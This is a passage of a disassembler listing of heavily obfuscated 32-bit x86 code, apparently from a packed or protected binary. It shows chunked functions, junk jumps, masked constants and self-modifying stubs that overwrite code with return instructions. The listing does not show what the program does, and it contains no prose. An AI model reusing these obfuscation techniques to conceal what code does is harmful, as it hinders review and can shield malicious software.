CODE XREF: sub_74D1F3+2913p ; FUNCTION CHUNK AT 00746368 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007467E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747EF9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007487F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B9CF SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074E3CD SIZE 00000014 BYTES xchg ecx, [esp+0] pop ecx mov [ecx], eax call sub_7559F0 loc_7529A6: ; CODE XREF: sub_74CF35+A7A2j jmp loc_7487F2 sub_75299B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7529AB proc near ; DATA XREF: sub_7559F0:loc_754CAAo var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00748591 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E9C0 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 007529B3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00752BB0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 007556B6 SIZE 00000015 BYTES mov byte ptr [eax], 0C3h jmp loc_7556B6 sub_7529AB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529AB loc_7529B3: ; CODE XREF: sub_7529AB+2D11j mov eax, [esp+0] push edx push ebx jmp loc_748591 ; END OF FUNCTION CHUNK FOR sub_7529AB ; =============== S U B R O U T I N E ======================================= sub_7529BD proc near ; DATA XREF: sub_753F8B-7165o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00749339 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074E2FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750095 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075127F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00751F25 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00755DDF SIZE 00000005 BYTES push eax pushf push 145248EAh pop eax or eax, 5AFC006Ah sub eax, 15F6273Ch jmp loc_74E2FD sub_7529BD endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_7529D7: ; CODE XREF: _0z4jwtox:00747BAAj jmp loc_754A46 ; --------------------------------------------------------------------------- locret_7529DC: ; CODE XREF: _0z4jwtox:loc_74B553j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755501 loc_7529DD: ; CODE XREF: sub_755501+Fj lea eax, nullsub_14 mov byte ptr [eax], 0C3h jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_755501 ; --------------------------------------------------------------------------- call nullsub_270 jmp ds:dword_41F060 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7556D8 loc_7529F6: ; CODE XREF: sub_7556D8+Cj jmp loc_753F0F ; END OF FUNCTION CHUNK FOR sub_7556D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_7529FB: ; CODE XREF: sub_752D11:loc_754747j cmp byte ptr [eax], 0F1h jnz loc_7510C0 jmp loc_745FF8 ; END OF FUNCTION CHUNK FOR sub_752D11 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_752A0A: ; CODE XREF: sub_74698F+D9F8j jmp loc_745FAD ; END OF FUNCTION CHUNK FOR sub_74698F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747290 loc_752A0F: ; CODE XREF: sub_747290-15D5j jmp nullsub_245 ; END OF FUNCTION CHUNK FOR sub_747290 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_752A14: ; CODE XREF: sub_7543C5-16BFj pop esi push ebx pushf push 36F815D6h jmp loc_746E05 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_752A21: ; CODE XREF: _0z4jwtox:loc_74B9CAj add eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_747622 loc_752A2B: ; CODE XREF: sub_747622+7j call sub_748ABC loc_752A30: ; CODE XREF: _0z4jwtox:0074DA03j jmp loc_754958 ; END OF FUNCTION CHUNK FOR sub_747622 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_752A35: ; CODE XREF: sub_747736+4011j sbb eax, 9B9D4171h jl loc_750BC4 loc_752A41: ; CODE XREF: sub_747736:loc_749EAAj add ebx, 725B3F0Eh loc_752A47: ; CODE XREF: _0z4jwtox:loc_74F5B2j add ebx, ebp add ebx, 8D86BE2Ch jmp loc_74DD9B ; END OF FUNCTION CHUNK FOR sub_747736 ; =============== S U B R O U T I N E ======================================= sub_752A54 proc near ; DATA XREF: sub_74CF35:loc_748969o ; FUNCTION CHUNK AT 0074B127 SIZE 00000005 BYTES mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_7573A9 jmp loc_74B127 sub_752A54 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508A4 loc_752A65: ; CODE XREF: sub_7508A4+364Cj push 0EA3723E8h pop eax xor eax, 0BBA9F628h add eax, 405A728Ch rol eax, 1Ah add eax, 0CE2D6095h xchg eax, [esp+8+var_8] jmp nullsub_262 ; END OF FUNCTION CHUNK FOR sub_7508A4 ; --------------------------------------------------------------------------- loc_752A88: ; CODE XREF: _0z4jwtox:loc_746438j ; _0z4jwtox:00752DDCj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_756823 jmp loc_74CDE2 ; --------------------------------------------------------------------------- shr edi, 13h jmp sub_74C1D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756974 loc_752AA1: ; CODE XREF: sub_756974+1j mov eax, [esp+4+var_4] push ebp mov ebp, edx xchg ebp, [esp+0] loc_752AAA: ; CODE XREF: _0z4jwtox:0074B616j jmp loc_75366C ; END OF FUNCTION CHUNK FOR sub_756974 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_752AAF: ; CODE XREF: sub_749B76:loc_757483j push eax push offset loc_755DFD jmp nullsub_247 ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- sbb ebp, ebx jmp loc_7450F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F30D loc_752AC1: ; CODE XREF: sub_74F30D+7j jnz sub_74A8D1 add esp, 0FFFFFED0h push edx push 28FE87EBh pop edx xor edx, 9D540DDAh jmp loc_753C01 ; END OF FUNCTION CHUNK FOR sub_74F30D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E95A loc_752ADF: ; CODE XREF: sub_74E95A-19F7j lea eax, sub_749FEE mov byte ptr [eax], 0C3h jmp loc_74E902 ; END OF FUNCTION CHUNK FOR sub_74E95A ; =============== S U B R O U T I N E ======================================= sub_752AED proc near ; CODE XREF: sub_41DB68+5Bp ; sub_41DB68+B9p ... call sub_754C68 jmp ds:off_41F00C sub_752AED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745620 loc_752AF8: ; CODE XREF: sub_745620+11j jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_745620 ; --------------------------------------------------------------------------- loc_752AFD: ; CODE XREF: _0z4jwtox:loc_74885Aj pop edx lea eax, nullsub_278 mov byte ptr [eax], 0C3h jmp nullsub_278 ; =============== S U B R O U T I N E ======================================= sub_752B0C proc near ; CODE XREF: sub_408701+15Dp ; sub_7465EE+9j ; DATA XREF: ... ; FUNCTION CHUNK AT 0074729B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074860F SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074D74A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074EE03 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074F27C SIZE 00000005 BYTES call sub_7465EE loc_752B11: ; CODE XREF: sub_75263A-A355j jmp loc_74D74A sub_752B0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg edi, [esp] mov edx, edi pop edi mov eax, [esp] jmp loc_74A4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7556D8 loc_752B24: ; CODE XREF: _0z4jwtox:0074EB77j ; sub_7556D8-3877j add ebx, 8CADDAA8h popf mov [ebx], eax pop ebx ; END OF FUNCTION CHUNK FOR sub_7556D8 ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_752B2E: ; CODE XREF: sub_74AAC1-78j ; sub_74AAC1:loc_750000j xor eax, 0C8829A14h sub eax, 0E856DF39h jmp loc_7526A9 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_172. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_752B40: ; CODE XREF: _0z4jwtox:0074BCE7j jmp sub_755C10 ; =============== S U B R O U T I N E ======================================= sub_752B45 proc near ; CODE XREF: _0z4jwtox:007470DDj ; sub_754B1B:loc_74A46Cp xchg edx, [esp+0] pop edx mov ds:dword_41F060, eax call sub_749F88 sub_752B45 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_752B54: ; CODE XREF: sub_7462C2+652Cj jmp loc_747D4C ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- aLQiHcndSg db 'Q]hCD',1Bh,'+',0Ah,0 ; DATA XREF: sub_747C22+6FD2o db 0 ; --------------------------------------------------------------------------- loc_752B6B: ; CODE XREF: _0z4jwtox:0074C4DBj pop edx loc_752B6C: ; CODE XREF: _0z4jwtox:0074AFBCj rol edx, 14h test edx, 800000h jmp loc_75499F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_752B7A: ; CODE XREF: sub_7462C2:loc_753A67j jnz loc_74C7E2 jmp loc_74F9B4 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- mov ds:dword_41F030, eax lea eax, nullsub_3 mov byte ptr [eax], 0C3h jmp nullsub_3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_752B99: ; CODE XREF: sub_74FE55-9359j mov eax, [esp+0] push ecx jmp loc_74F6D8 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- loc_752BA2: ; CODE XREF: _0z4jwtox:00753965j xchg ebx, [esp] mov edx, ebx pop ebx mov eax, [esp] jmp loc_74DD21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529AB loc_752BB0: ; CODE XREF: sub_7529AB+2D1Bj mov esi, edx xchg esi, [esp+8+var_8] call sub_755923 ; END OF FUNCTION CHUNK FOR sub_7529AB ; START OF FUNCTION CHUNK FOR sub_747C22 loc_752BBA: ; CODE XREF: sub_747C22+BD60j jmp loc_74C019 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_752BBF proc near ; CODE XREF: _0z4jwtox:00749EA5j ; sub_752FC5:loc_757682p arg_0 = dword ptr 4 xchg ebx, [esp+0] pop ebx add ecx, 0AD7ED498h xchg ecx, [esp-4+arg_0] jmp sub_75740D sub_752BBF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_752BD1 proc near ; CODE XREF: _0z4jwtox:007507E1p ; _0z4jwtox:00753EC9j xchg ebx, [esp+0] pop ebx lea eax, sub_74C527 push offset sub_74553D jmp nullsub_297 sub_752BD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7535F0 loc_752BE5: ; CODE XREF: sub_7535F0-1408j xor eax, 6808A274h add eax, 32ACBD8Bh push edi call sub_753DDE loc_752BF7: ; CODE XREF: sub_74FB89+3739j jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_7535F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_752BFC: ; CODE XREF: sub_7462C2-1281j add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 push offset loc_74B7A1 jmp nullsub_107 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- sub esi, 0DA125728h jmp sub_748538 ; --------------------------------------------------------------------------- mov eax, 0F78D9DBDh call sub_746E93 mov ds:off_41F0EC, eax lea eax, sub_74C3B3 mov byte ptr [eax], 0C3h jmp loc_756940 ; =============== S U B R O U T I N E ======================================= sub_752C39 proc near ; CODE XREF: sub_4090ED+88p ; sub_4090ED+8Ep ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074895B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074A566 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00751038 SIZE 00000005 BYTES push esi push 2339D1F9h loc_752C3F: ; CODE XREF: sub_74FE55-5A96j jmp loc_74A566 sub_752C39 endp ; =============== S U B R O U T I N E ======================================= sub_752C44 proc near ; DATA XREF: sub_755ECD+9o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007464AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750A1A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00750F01 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00752696 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00754931 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007562A1 SIZE 00000008 BYTES cmp dword ptr [ebp-4], 0 jz loc_75276D jmp loc_7464AC sub_752C44 endp ; --------------------------------------------------------------------------- mov [ebp+0], ecx jmp loc_745FDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_752C5B: ; CODE XREF: sub_74AAC1:loc_74BA8Dj mov eax, edx call sub_747892 mov eax, [esp+0] push eax push 0FFF49FC4h pop eax sub eax, 2E382931h add eax, 2EB8F16Eh jmp loc_745BAB ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_752C7D: ; CODE XREF: _0z4jwtox:loc_753D09j and ebx, eax call sub_75310B push offset loc_753ABC jmp loc_74BAAA ; =============== S U B R O U T I N E ======================================= sub_752C8E proc near ; CODE XREF: _0z4jwtox:0074C043j ; _0z4jwtox:00752866p ; FUNCTION CHUNK AT 0074E50B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F14C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00750490 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007508D6 SIZE 00000010 BYTES xchg eax, [esp+0] pop eax push 0DC29D0D0h pop edx or edx, 0DB597D16h rol edx, 12h sub edx, 72057782h jmp loc_74E50B sub_752C8E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75100C loc_752CAC: ; CODE XREF: sub_75100C-33B9j xchg esi, [esp+4+var_4] push edi push 0E1436DD0h pop edi or edi, 7A78786Bh add edi, 4F9F853h jmp loc_756B01 ; END OF FUNCTION CHUNK FOR sub_75100C ; --------------------------------------------------------------------------- cdq jmp sub_74FA24 ; --------------------------------------------------------------------------- loc_752CCD: ; CODE XREF: _0z4jwtox:loc_7512B2j or eax, 0CBAB7E26h rol eax, 17h xor eax, 8154E685h call sub_746E93 jmp loc_74CB89 ; --------------------------------------------------------------------------- loc_752CE6: ; CODE XREF: _0z4jwtox:0075688Bj test ebx, 80000h jmp loc_747E95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_752CF1: ; CODE XREF: sub_7543C5-6A76j pop esi xor esi, 2FC99C72h sub esi, 2F0AB6D7h xor esi, 93E3A962h add eax, esi jmp loc_752A14 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A094 loc_752D0B: ; CODE XREF: sub_74A094:loc_754D40j call sub_7572D3 locret_752D10: ; CODE XREF: sub_7473D1:loc_7575BCj retn ; END OF FUNCTION CHUNK FOR sub_74A094 ; =============== S U B R O U T I N E ======================================= sub_752D11 proc near ; CODE XREF: sub_74952C:loc_749C5Fj ; sub_74A96E+C3BAp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007455CD SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00745FF8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746843 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00746B63 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00746EFB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747088 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007485A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074885F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00748918 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074901D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074987B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AC87 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B0C0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074BEFE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074C928 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074CE96 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074D6FC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074E033 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074E2B0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074E43B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074EACC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074ED04 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007501C4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007506CC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750CC2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00750D97 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00750DCD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00750E81 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00752488 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 007529FB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007542F1 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00754747 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007573B1 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007575DE SIZE 00000005 BYTES xchg ecx, [esp+4+var_4] pop ecx add eax, 9D8F1281h mov eax, [eax] popf jmp loc_74885F sub_752D11 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_752D23: ; CODE XREF: _0z4jwtox:00749B35j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AF9C loc_752D24: ; CODE XREF: sub_74AF9C-2928j ; sub_755E40:loc_7496A2j jmp loc_7458C4 ; END OF FUNCTION CHUNK FOR sub_74AF9C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_752D29: ; CODE XREF: sub_74AE46-4ED5j mov edx, [esp-4+arg_0] push eax mov eax, edx call sub_753D0E mov eax, [esp+0] push ecx push 0EBA41534h jmp loc_756226 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75701A loc_752D42: ; CODE XREF: sub_75701A+Fj add eax, 564880A9h or eax, 26B4E48Bh add eax, 771246ADh push ecx push 20FBC3BEh jmp loc_75702E ; END OF FUNCTION CHUNK FOR sub_75701A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_752D5F: ; CODE XREF: sub_74C2C9:loc_750F19j xor eax, eax mov ds:dword_74B2AC, eax jmp loc_7485E0 ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_752D6B proc near ; CODE XREF: sub_74C2C9j ; FUNCTION CHUNK AT 00751200 SIZE 00000012 BYTES push ebp mov ebp, esp jmp loc_751200 sub_752D6B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_752D73: ; CODE XREF: sub_7557E7:loc_7502ABj jz loc_756F7C ; END OF FUNCTION CHUNK FOR sub_7557E7 ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_752D79: ; CODE XREF: sub_74AE46+601Cj jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_74AE46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754729 loc_752D7E: ; CODE XREF: sub_754729-8E59j jmp loc_7495F0 ; END OF FUNCTION CHUNK FOR sub_754729 ; --------------------------------------------------------------------------- ror ecx, 8 jmp loc_756F72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_752D8B: ; CODE XREF: sub_747736:loc_752203j ja loc_7477B1 jmp loc_7494F7 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_752D96: ; CODE XREF: sub_74946E:loc_74B65Aj mov eax, [esp+0] call sub_746CF0 retn ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_752D9F: ; CODE XREF: sub_747C22:loc_754CA5j jmp loc_7469CF ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_752DA4: ; CODE XREF: _0z4jwtox:007470BBj jmp loc_754F78 ; --------------------------------------------------------------------------- db 0C7h, 3Eh, 59h dword_752DAC dd 0 ; sub_74946E+6r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E451 loc_752DB0: ; CODE XREF: sub_74E451+7E36j jmp nullsub_250 ; END OF FUNCTION CHUNK FOR sub_74E451 ; =============== S U B R O U T I N E ======================================= sub_752DB5 proc near ; CODE XREF: sub_4123B8+DEp ; sub_752DB5+5j ; DATA XREF: ... call sub_74F69D jmp ds:off_41F13C sub_752DB5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7513E4 loc_752DC0: ; CODE XREF: sub_7513E4:loc_75475Fj ; sub_7513E4+3390j add ebx, 75C24A19h loc_752DC6: ; CODE XREF: _0z4jwtox:loc_74F735j xchg ebx, [esp-8+arg_4] jmp sub_74A3AB ; END OF FUNCTION CHUNK FOR sub_7513E4 ; --------------------------------------------------------------------------- loc_752DCE: ; CODE XREF: _0z4jwtox:loc_748C08j push ecx jbe loc_74E6E1 or edx, 309E3AFBh cdq jmp loc_752A88 ; =============== S U B R O U T I N E ======================================= sub_752DE1 proc near ; CODE XREF: _0z4jwtox:00747C85j ; sub_746E93+2343p ; FUNCTION CHUNK AT 00756671 SIZE 00000007 BYTES xchg ebx, [esp+0] pop ebx or edx, edx jnz loc_756671 jmp loc_74CA50 sub_752DE1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_752DF2 proc near ; DATA XREF: _0z4jwtox:00750486o ; FUNCTION CHUNK AT 00745458 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074565A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00746EF0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074D0CE SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074E3E1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 007522F7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00753CA1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755C8F SIZE 00000013 BYTES add edx, 0E435235Eh add edx, ebp add edx, 1D12488h mov edx, [edx] imul byte ptr [edx] jmp loc_74565A sub_752DF2 endp ; =============== S U B R O U T I N E ======================================= sub_752E09 proc near ; CODE XREF: sub_74BF3A-5511p ; _0z4jwtox:0074FBEBj xchg ebx, [esp+0] pop ebx pop ebp retn sub_752E09 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_752E0F proc near ; CODE XREF: sub_745685+4p ; sub_74594D+7j ... var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745833 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B31D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074C119 SIZE 00000014 BYTES push ebp mov ebp, esp jmp loc_745833 sub_752E0F endp ; =============== S U B R O U T I N E ======================================= sub_752E17 proc near ; DATA XREF: sub_74FC30-65F0o ; FUNCTION CHUNK AT 0074C0CD SIZE 00000005 BYTES push eax call sub_74C2C9 mov ds:dword_74B2A0, eax mov ds:byte_74B290, 1 call sub_74BF3A loc_752E2E: ; CODE XREF: sub_749010-90j add eax, 0DC454013h or eax, 0B986779Dh loc_752E3A: ; CODE XREF: sub_7510EA:loc_74E6D8j add eax, 0CE95A7h popf xchg eax, [esp+0] jmp loc_74C0CD sub_752E17 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_752E49: ; CODE XREF: sub_747C39+A397j rol eax, 18h xor eax, 0B6BACEAh add eax, 843D4594h add eax, ebp add eax, 93C25282h jmp loc_751E50 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- aShVnbBJBis db '',0Ah ; DATA XREF: sub_747AEC+56C7o db 'ShVb[æb',0 aE db 'E',0 align 2 loc_752E7A: ; CODE XREF: _0z4jwtox:0074C96Bj jz loc_750DA9 jmp loc_7550EC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_289. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_752E86: ; CODE XREF: _0z4jwtox:00745BDCj jmp loc_74C7FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_752E8B: ; CODE XREF: sub_7514BF:loc_745964j jz loc_748482 push ebp mov eax, [ebp-20h] call sub_746E37 loc_752E9A: ; CODE XREF: sub_755FD6+Ej jmp loc_751442 ; END OF FUNCTION CHUNK FOR sub_7514BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747892 loc_752E9F: ; CODE XREF: sub_747892+4j jmp loc_7578D4 ; END OF FUNCTION CHUNK FOR sub_747892 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_752EA4: ; CODE XREF: sub_749254:loc_74A91Cj add esi, 1EEDACABh xchg esi, [esp-8+arg_4] jmp sub_74A3AB ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- loc_752EB2: ; CODE XREF: _0z4jwtox:00749461j adc edi, 0A33F3F2Ah ; =============== S U B R O U T I N E ======================================= sub_752EB8 proc near ; CODE XREF: _0z4jwtox:007484E8p ; FUNCTION CHUNK AT 00746BCB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00746E5B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007549EA SIZE 00000016 BYTES xchg edx, [esp+0] pop edx push 9CF13FE1h pop edx xor edx, 73E03CD4h or edx, 3250B588h jmp loc_7549EA sub_752EB8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_752ED3: ; CODE XREF: _0z4jwtox:0074B199j xor eax, 576FC404h loc_752ED9: ; CODE XREF: _0z4jwtox:0074E4E1j call sub_74E95A ; START OF FUNCTION CHUNK FOR sub_754DFF loc_752EDE: ; CODE XREF: sub_754DFF+2Ej jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_752EE3: ; CODE XREF: sub_74F73B-57EBj jmp loc_74CEBE ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F1FE loc_752EE8: ; CODE XREF: sub_74F1FE-9381j jmp loc_756264 ; END OF FUNCTION CHUNK FOR sub_74F1FE ; --------------------------------------------------------------------------- jns loc_7509A6 jmp sub_74FA7E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75247E loc_752EF8: ; CODE XREF: sub_75247E:loc_752483j mov eax, [ebp-14h] push offset loc_755DCB jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_75247E ; --------------------------------------------------------------------------- loc_752F05: ; CODE XREF: _0z4jwtox:00753806j mov eax, 1 shl eax, cl not eax and ebx, eax push ebx push 4C592BAEh pop ebx rol ebx, 7 jmp loc_749318 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_752F1F: ; CODE XREF: sub_74D782-7984j mov eax, offset dword_74C2F8 push offset sub_747F9D jmp nullsub_264 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFF6005h ; =============== S U B R O U T I N E ======================================= sub_752F34 proc near ; CODE XREF: sub_749010+676Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074AC4E SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg ecx, [esp-4+arg_0] mov ebp, ecx loc_752F3D: ; CODE XREF: _0z4jwtox:loc_7563FDj pop ecx jmp loc_74AC4E sub_752F34 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_752F43: ; CODE XREF: _0z4jwtox:0074F2E0j pushf ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_752F44: ; CODE XREF: sub_7474B9:loc_74F2CDj add 